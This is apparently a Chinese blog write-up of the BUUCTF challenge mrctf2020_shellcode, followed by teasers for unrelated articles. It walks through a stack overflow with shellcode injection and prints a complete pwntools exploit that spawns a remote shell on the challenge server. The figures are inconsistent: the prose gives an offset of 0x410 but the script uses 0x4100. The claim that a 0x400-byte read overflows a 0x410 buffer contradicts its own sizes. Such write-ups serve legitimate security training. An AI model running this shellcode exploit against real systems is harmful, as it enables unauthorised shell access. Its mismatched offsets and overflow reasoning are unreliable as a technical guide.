news 2026/5/8 16:29:49

buuctf中的mrctf2020_shellcode

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',27977) # 与在线环境交互。 shellcode = asm(shellcraft.sh()) offset = 0x4100 buf_addr = 0x7fffffffdaf8 payload = shellcode.ljust(offset,b'a') + p64(buf_addr) io.sendline(payload) io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/1 19:55:23

差分信号布线在PCB原理图设计中的应用详解

以下是对您提供的博文内容进行 深度润色与专业重构后的版本 。本次优化严格遵循您的全部要求: ✅ 彻底去除AI痕迹,语言自然、老练、有工程师现场感 ✅ 摒弃“引言/核心/应用/总结”等模板化结构,以 真实设计逻辑流 组织全文 ✅ 所有技…

作者头像 李华
网站建设 2026/5/8 2:25:59

告别环境配置烦恼!YOLOE镜像开箱即用实测分享

告别环境配置烦恼!YOLOE镜像开箱即用实测分享 你有没有过这样的经历:凌晨两点,对着终端里第7次报错的 ImportError: cannot import name MultiScaleDeformableAttention 发呆;CUDA版本、PyTorch编译方式、CLIP分支兼容性……光是…

作者头像 李华
网站建设 2026/5/8 3:21:18

5个专业级技巧:DLSS Swapper如何优化游戏超采样性能

5个专业级技巧:DLSS Swapper如何优化游戏超采样性能 【免费下载链接】dlss-swapper 项目地址: https://gitcode.com/GitHub_Trending/dl/dlss-swapper 在3A游戏画质持续提升的当下,玩家常面临"画质-性能"的两难选择:开启DL…

作者头像 李华
网站建设 2026/5/2 18:57:08

流媒体下载难题终结者:N_m3u8DL-RE如何让视频保存变得简单高效

流媒体下载难题终结者:N_m3u8DL-RE如何让视频保存变得简单高效 【免费下载链接】N_m3u8DL-RE 跨平台、现代且功能强大的流媒体下载器,支持MPD/M3U8/ISM格式。支持英语、简体中文和繁体中文。 项目地址: https://gitcode.com/GitHub_Trending/nm3/N_m3u…

作者头像 李华
网站建设 2026/5/8 3:21:49

3分钟上手BetterNCM Installer:网易云音乐插件管理的免费高效工具

3分钟上手BetterNCM Installer:网易云音乐插件管理的免费高效工具 【免费下载链接】BetterNCM-Installer 一键安装 Better 系软件 项目地址: https://gitcode.com/gh_mirrors/be/BetterNCM-Installer 你是否遇到过网易云音乐插件安装繁琐、版本不兼容的问题&…

作者头像 李华
网站建设 2026/5/8 3:21:49

YOLO11如何提升召回率?Anchor聚类实战

YOLO11如何提升召回率?Anchor聚类实战 在目标检测任务中,召回率(Recall)直接关系到模型能否“不漏检”——尤其是对小目标、密集目标或遮挡场景下的关键对象。很多开发者发现,YOLO11默认配置下在特定数据集上漏检明显…

作者头像 李华